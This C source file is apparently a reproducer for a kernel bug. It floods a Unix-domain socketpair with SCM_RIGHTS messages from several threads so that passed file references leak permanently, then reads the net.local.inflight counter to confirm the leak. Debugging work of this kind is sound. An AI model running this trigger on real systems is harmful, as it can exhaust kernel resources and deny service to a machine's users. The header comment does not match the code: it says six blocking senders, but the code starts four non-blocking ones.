DF-2560 / scm_leak5.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* DF-2564 sibling trigger -- DF-2560 exact path, herd edition. * 6 BLOCKING sender threads pile in ssb_wait; a periodic partial drain * clears SSB_STOP; the whole herd passes sosend's space check (STOP clear), * then serializes on so2->so_rcv token in uipc_send: first appends succeed, * later ones see ssb_space(peer)<=0 -> ssb_appendcontrol()==0 -> * the SOCK_STREAM SCM_RIGHTS branch drops control WITHOUT unp_dispose() * (uipc_usrreq.c:766-787 + cleanup :808-814): 8 leaked file refs each, * sendmsg() reports success. * * usage: scm_leak5 [rounds] */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #define NTH 4 static int sv[2], fds[8]; static volatile int stop_flag; static long ops_ok[NTH], ops_fail[NTH]; static pthread_t th[NTH]; static char big[24576]; static int sysctl_int(const char *name) { int v; size_t l = sizeof(v); return (sysctlbyname(name, &v, &l, NULL, 0) < 0) ? -1 : v; } static void * sender(void *arg) { long id = (long)arg; struct msghdr msg; struct iovec iov; char cbuf[CMSG_SPACE(sizeof(fds))]; struct cmsghdr *cm; memset(&msg, 0, sizeof(msg)); iov.iov_base = big; iov.iov_len = 24000; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = CMSG_SPACE(sizeof(fds)); cm = CMSG_FIRSTHDR(&msg); cm->cmsg_len = CMSG_LEN(sizeof(fds)); cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; memcpy(CMSG_DATA(cm), fds, sizeof(fds)); while (!stop_flag) { ssize_t rc = sendmsg(sv[0], &msg, MSG_DONTWAIT); if (rc >= 0) ops_ok[id]++; else { ops_fail[id]++; usleep(50); } } return (NULL); } int main(int argc, char **argv) { int rounds = (argc > 1) ? atoi(argv[1]) : 200; int i, r, infl0, infl1, ok = 0, fail = 0; setvbuf(stdout, NULL, _IONBF, 0); char b[65536]; infl0 = sysctl_int("net.local.inflight"); printf("before: net.local.inflight=%d\n", infl0); for (i = 0; i < 8; i++) { char p[64]; snprintf(p, sizeof(p), "/tmp/df2560e_%d", i); unlink(p); fds[i] = open(p, O_RDWR | O_CREAT, 0600); if (fds[i] < 0) { perror("open"); return 1; } } if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); return 1; } { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; sigaction(SIGUSR1, &sa, NULL); } fcntl(sv[1], F_SETFL, O_NONBLOCK); memset(big, 'D', sizeof(big)); for (i = 0; i < NTH; i++) pthread_create(&th[i], NULL, sender, (void *)(long)i); /* rounds: partial drain to wake the herd */ for (r = 0; r < rounds; r++) { usleep(1000); recv(sv[1], b, 8192, MSG_DONTWAIT); /* small drain: keep rcv near-full */ } stop_flag = 1; shutdown(sv[0], SHUT_RDWR); /* break blocking sends with EPIPE */ for (i = 0; i < NTH; i++) pthread_join(th[i], NULL); for (i = 0; i < NTH; i++) { ok += ops_ok[i]; fail += ops_fail[i]; } infl1 = sysctl_int("net.local.inflight"); printf("senders: ok=%d fail=%d\n", ok, fail); printf("during : inflight=%d (delta %+d)\n", infl1, infl1 - infl0); for (;;) if (recv(sv[1], b, sizeof(b), MSG_DONTWAIT) <= 0) break; close(sv[0]); close(sv[1]); for (i = 0; i < 8; i++) close(fds[i]); infl1 = sysctl_int("net.local.inflight"); printf("after close-all: inflight delta %+d\n", infl1 - infl0); if (infl1 - infl0 > 0) printf("DF2560: LEAK CONFIRMED: %d rights leaked permanently\n", infl1 - infl0); else printf("DF2560: no leak this run\n"); return 0; } |